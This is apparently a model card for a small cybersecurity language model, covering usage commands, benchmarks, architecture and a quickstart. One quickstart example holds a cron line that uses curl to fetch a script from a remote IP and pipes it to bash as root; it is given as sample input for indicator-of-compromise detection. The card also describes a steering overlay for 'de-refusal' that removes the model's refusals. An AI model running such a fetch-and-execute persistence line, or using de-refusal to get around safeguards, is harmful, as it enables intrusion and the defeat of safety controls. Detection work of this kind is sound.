Instructions to use aliasrobotics/alias3-micro-1026 with libraries, inference providers, notebooks, and local apps. Follow these links to get started.

Libraries

How to use aliasrobotics/alias3-micro-1026 with Transformers:

# Use a pipeline as a high-level helper
from transformers import pipeline

pipe = pipeline("text-generation", model="aliasrobotics/alias3-micro-1026")
messages = [
    {"role": "user", "content": "Who are you?"},
]
pipe(messages)

# pip install -U transformers accelerate
# Load model directly
from transformers import AutoTokenizer, AutoModelForCausalLM

tokenizer = AutoTokenizer.from_pretrained("aliasrobotics/alias3-micro-1026")
model = AutoModelForCausalLM.from_pretrained("aliasrobotics/alias3-micro-1026", device_map="auto")
messages = [
    {"role": "user", "content": "Who are you?"},
]
inputs = tokenizer.apply_chat_template(
	messages,
	add_generation_prompt=True,
	tokenize=True,
	return_dict=True,
	return_tensors="pt",
).to(model.device)

outputs = model.generate(**inputs, max_new_tokens=256)
print(tokenizer.decode(outputs[0][inputs["input_ids"].shape[-1]:]))

Notebooks
Google Colab
Kaggle
Local Apps Settings

vLLM

How to use aliasrobotics/alias3-micro-1026 with vLLM:

Install from pip and serve model

# Install vLLM from pip:
pip install vllm
# Start the vLLM server:
vllm serve "aliasrobotics/alias3-micro-1026"
# Call the server using curl (OpenAI-compatible API):
curl -X POST "http://localhost:8000/v1/chat/completions" \
	-H "Content-Type: application/json" \
	--data '{
		"model": "aliasrobotics/alias3-micro-1026",
		"messages": [
			{
				"role": "user",
				"content": "What is the capital of France?"
			}
		]
	}'

Use Docker

docker model run hf.co/aliasrobotics/alias3-micro-1026

SGLang

How to use aliasrobotics/alias3-micro-1026 with SGLang:

Install from pip and serve model

# Install SGLang from pip:
pip install sglang
# Start the SGLang server:
python3 -m sglang.launch_server \
    --model-path "aliasrobotics/alias3-micro-1026" \
    --host 0.0.0.0 \
    --port 30000
# Call the server using curl (OpenAI-compatible API):
curl -X POST "http://localhost:30000/v1/chat/completions" \
	-H "Content-Type: application/json" \
	--data '{
		"model": "aliasrobotics/alias3-micro-1026",
		"messages": [
			{
				"role": "user",
				"content": "What is the capital of France?"
			}
		]
	}'

Use Docker images

docker run --gpus all \
    --shm-size 32g \
    -p 30000:30000 \
    -v ~/.cache/huggingface:/root/.cache/huggingface \
    --env "HF_TOKEN=<secret>" \
    --ipc=host \
    lmsysorg/sglang:latest \
    python3 -m sglang.launch_server \
        --model-path "aliasrobotics/alias3-micro-1026" \
        --host 0.0.0.0 \
        --port 30000
# Call the server using curl (OpenAI-compatible API):
curl -X POST "http://localhost:30000/v1/chat/completions" \
	-H "Content-Type: application/json" \
	--data '{
		"model": "aliasrobotics/alias3-micro-1026",
		"messages": [
			{
				"role": "user",
				"content": "What is the capital of France?"
			}
		]
	}'

Docker Model Runner
How to use aliasrobotics/alias3-micro-1026 with Docker Model Runner:
```
docker model run hf.co/aliasrobotics/alias3-micro-1026
```

🛡️ alias3-micro · CT0

A 4B Cybersecurity Transformer that thinks fast and slow — from one set of weights

⚠️ Research preview — this model is a research artifact; weights may change at any point in time as performance bugs get fixed. This checkpoint also carries deliberate modifications that favour research contribution. Further checkpoints and releases are in progress.

One prefill answers a typed security question with a calibrated probability and zero tokens decoded; the same weights also run as a full tool-using agent. A confidence gate spends generation only when the fast path is unsure.

Cybench-Subtask: alias3-micro vs open and frontier references

21.1 % on the agentic cybench-subtask benchmark — 2.8× its own base, and above every open model of comparable footprint.

⚡ TL;DR

alias3-micro is the first incarnation of CT0, a cybersecurity-specialist transformer built on Qwen3.5-4B and post-trained on the proprietary Cybersecurity AI (CAI) dataset. It serves two modes from a single merged weight set:

System 1 — a bilinear decision head answers typed security questions (is this file an indicator of compromise? is this request an attack? did the model just refuse?) in one forward pass, decoding nothing, returning a calibrated probability.
System 2 — the usual autoregressive agent: native tool calls, shell, multi-step reasoning.
The gate — a threshold on System 1's confidence escalates only the uncertain cases to System 2.

The result: detection-grade security judgements at tens of milliseconds, an agent when you actually need one, and the highest cybersecurity capability per parameter of any model we measured.


🥇 Densest cybersecurity capability per parameter in its class	🔎 Screens 80–82 files/s for indicators of compromise
🧠 Refusal detection 96.5 % in 47 ms (self-judging: 76.5 % in 254 ms)	🪤 Jailbreak-request screening at AUROC 0.966 in 8 ms
💸 Built in ≈314 GPU-hours on one workstation	🔒 No policy layer between operator and target — runs fully local

🧭 Benchmarks

Agentic capability — `cybench-subtask` (40 CTF challenges → 171 subtasks, pass@1, fixed budget, thinking off)

Each model's strongest single-attempt campaign under a small, disclosed budget — the opposite of an unbounded best-of-k.

Model	Params	Format	Cybench-Subtask
🟢 alias3-micro (CT0)	4B	bf16	21.1 %
Qwen3.5-4B (base)	4B	BF16	7.6 %
Gemma-4 E4B	8B	BF16	12.7 %
Bonsai 2 (ternary)	27B	1.75-bit	8.2 %
Kolibri-1	78B	FP8	5.3 %
alias3-mini ↗	30B	FP8	40.9 %
alias3-max ↗	800B	FP8	56.1 %
Mistral Large 4	1T	API	54.4 %
Opus-5.5	—	API	29.2 %

^{Italic rows are larger references; ↗ marks the larger members of the alias lineage. See the paper for the full protocol and hosted-reference conditions.}

The fast path wins where it matters — System 1 vs System 2 vs the cascade

CT0's three arms across every security task

Detection-style decisions are a System-1 job — faster and better than the model judging its own output:

Task	System 1 (head)	System 2 (generation)	Why it matters
Refusal detection (accuracy)	96.5 % · 47 ms	76.5 % · 254 ms	self-judging misses ~half of refusals
Jailbreak-request detection (AUROC)	0.966 · 8 ms	—	cheap enough to screen every request
Tool-call info-flow labels (accuracy)	80.6 % · 12 ms	75.2 % (9-shot) · 27 ms	dangerous-call recall at its own threshold
Phishing triage (balanced accuracy)	92.5 % · 61 ms	60.1 % · 635 ms	typed signals dominate generation
IOC file screening	80–82 files/s	—	unaffected by concurrent generation

Composition pays where the two modes err on different cases — the calibrated gate buys accuracy at a fraction of the cost:

Task	Metric	Best arm
Secure-code review (OWASP Java)	90.2 % balanced accuracy, generating for 36 % of cases	cascade
Typed-fact extraction	48.3 % exact match (vs 43.4 / 38.0 alone) at ⅕ the generative cost	selective repair
Pentest findings	complementary: S2 adjudicates, S1 prunes (recall 61.3 vs 22.6)	cascade

^{Calibration: one fitted temperature gives ECE 0.052 on the transfer set. All numbers from the CT0 paper's evidence matrix; every benchmark is run end-to-end with this exact checkpoint and head.}

📐 Cybersecurity intelligence density

The headline isn't the raw score — it's the score per parameter. Normalised by scale, the alias models lead the field, and the 4 B specialist is first.

_{CID = Cybench-Subtask score ÷ log₁₀(1 + N·10⁹). A plain per-parameter ratio would reward only the tiniest models; the log form reads how much security capability each order of magnitude of parameters buys.}

🧠 Two minds, one model

Architecture — click to expand the full deployment diagram

CT0 keeps the hybrid Qwen3.5-4B backbone (32 layers, 24 Gated-DeltaNet interleaved with 8 Gated-Attention, SwiGLU feed-forward, 248,320-token tied embedding) and adds six elements around the unchanged tensors:

Typed decision interface — marker tokens (<state> … <q> … <opt>…</opt> … <decide>) pose a security question over options, no vocabulary change.
Specialised weights — the backbone, taught security by two-phase on-policy distillation on the CAI dataset.
Decision adapter — a rank-16 LoRA fused into those weights, so one weight set serves both modes.
Bilinear pointer head — 1.3 M parameters; reads the hidden states at the markers and returns one calibrated probability per option during prefill, decoding nothing.
Escalation gate — a threshold on the System-1 probability routes only uncertain cases to System 2.
Native dual-mode serving — one process, two endpoints, sharing the attention KV and recurrent-state prefix caches.

Two optional, reversible steering overlays (off by default) complete the design: a runtime refusal-direction projection for authorised de-refusal, and an activation-steering direction. Both are described in the paper (§ Refusal Detection and Dynamic De-Refusal).

🚀 Quickstart

The weights serve System 2 on any standard stack (transformers, vllm, sglang) with trust_remote_code. The native System 1 endpoint (/v1/systemone) uses the CSI SGLang fork with --systemone-head — available from Alias Robotics.

# the model — weights, pointer head and tokenizer — is this repo
pip install -U "huggingface_hub[cli]"
hf download aliasrobotics/alias3-micro-1026 --local-dir alias3-micro-1026 && cd alias3-micro-1026

# serve both modes from one process (reference: 1× GPU ≥ 20 GB)
python3 -m sglang.launch_server --model-path . --served-model-name ct0 \
  --host 0.0.0.0 --port 30000 --dtype bfloat16 --trust-remote-code \
  --tool-call-parser qwen3_coder --reasoning-parser qwen3 \
  --chunked-prefill-size 2048 --systemone-head ./head.pt

# System 1 — one typed decision, one prefill, zero tokens decoded
curl -s localhost:30000/v1/systemone -H 'Content-Type: application/json' -d '{
  "model": "ct0",
  "state": "path: /etc/cron.d/backup\ncontent: */5 * * * * root curl http://198.51.100.7/x.sh | bash",
  "questions": {"ioc": {"type": "noul",
    "instructions": "Is this file a suspicious indicator of compromise on this system?"}}}'
# -> {"answers": {"ioc": {"type": "noul", "noul": 0.91}}}

# System 2 — ordinary chat / native tool calls
curl -s localhost:30000/v1/chat/completions -H 'Content-Type: application/json' -d '{
  "model": "ct0", "messages": [{"role": "user", "content": "Audit this crontab for persistence."}],
  "chat_template_kwargs": {"enable_thinking": false}}'

Question types: noul (yes/no probability), choice (one per option with a criteria map), score (ordinal 1..K). Choice confidence is (p_max − 1/K)/(1 − 1/K). The head temperature is fitted out-of-distribution — do not re-fit on your own labels.

🎯 Intended use & limitations

Intended for authorised defensive and offensive security work by practitioners: triage and detection (refusals, jailbreaks, IOCs, risky tool calls), finding prioritisation, secure-code review, and agentic CTF-style tasks — run locally, privately, under the operator's control.

This release is one stage of an ongoing research line, and it exists to be used and stress-tested. In turn, we draw on community feedback and usage data to understand how the model performs in practice and guide the next stage of our research.

Limitations. System-1 thresholds are calibrated on fixtures and must be revalidated on your deployment distribution. Detector metrics are not attack-success rates and do not test adaptive attackers. Several evaluation corpora are small or constructed; none is a live engagement. Specialisation does not confer prompt-injection resistance. See the paper's discussion for the full accounting of what the evidence does and does not support.

Safety. This is a dual-use security tool. Use only on systems and engagements you are authorised to assess.

📎 Citation

📄 CT0: Cybersecurity Transformer — arXiv:2610.16550 · PDF · Alias Robotics, 2026.

@article{ct0_2026,
  title   = {{CT0}: Cybersecurity Transformer},
  author  = {Mayoral-Vilches, V{\'i}ctor and {Alias Robotics}},
  journal = {arXiv preprint arXiv:2610.16550},
  year    = {2026},
  url     = {https://arxiv.org/abs/2610.16550}
}

_{Built by Alias Robotics · trained on the CAI dataset · served from one workstation GPU, no policy layer between operator and target.}

Downloads last month: 49

Safetensors

Model size

4B params

Tensor type

BF16

Model tree for aliasrobotics/alias3-micro-1026

Base model

Qwen/Qwen3.5-4B-Base

Finetuned

Qwen/Qwen3.5-4B